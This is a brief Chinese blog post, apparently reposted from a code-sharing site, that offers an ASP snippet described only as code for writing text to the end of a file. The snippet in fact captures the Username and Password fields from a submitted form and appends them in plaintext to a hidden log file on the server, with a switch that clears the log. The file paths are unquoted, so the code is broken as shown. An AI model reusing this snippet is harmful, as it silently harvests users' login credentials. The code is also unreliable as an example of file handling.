txt写入字符asp代码,下面的代码可以写人到文件的底部
<%
dim fso
dim file
dim file2
dim filesize
dim file3
set fso=server.createobject("Scripting.FileSystemObject")
If Request("u")="del" Then
set file=fso.OpenTextFile(C:/111111.txt,2,True)
file.WriteLine ""
End If
If fso.FileExists("C:/111111.txt") Then
set file=fso.OpenTextFile(C:/111111.txt,8,True)
Else
set file=fso.CreateTextFile(C:/111111.txt)
end if
file.WriteLine "Username:"+Request.form("Username")
file.WriteLine "Password:"+Request.form("password")
file.close
set file3=fso.GetFile(C:/111111.txt)
filesize=file3.size
if filesize>200000 then
set file2=fso.OpenTextFile(C:/111111.txt,2,True)
file2.WriteLine ""
file2.close
end if
set file=nothing
set file2=nothing
set filesize=nothing
set fso=nothing
%>
OK,大家拿去看看吧!@
本文来自:PHP小戴(www.phpxd.com) 详细出处参考:http://www.phpxd.com/yuandaima/2008-12-15/200812151634300.html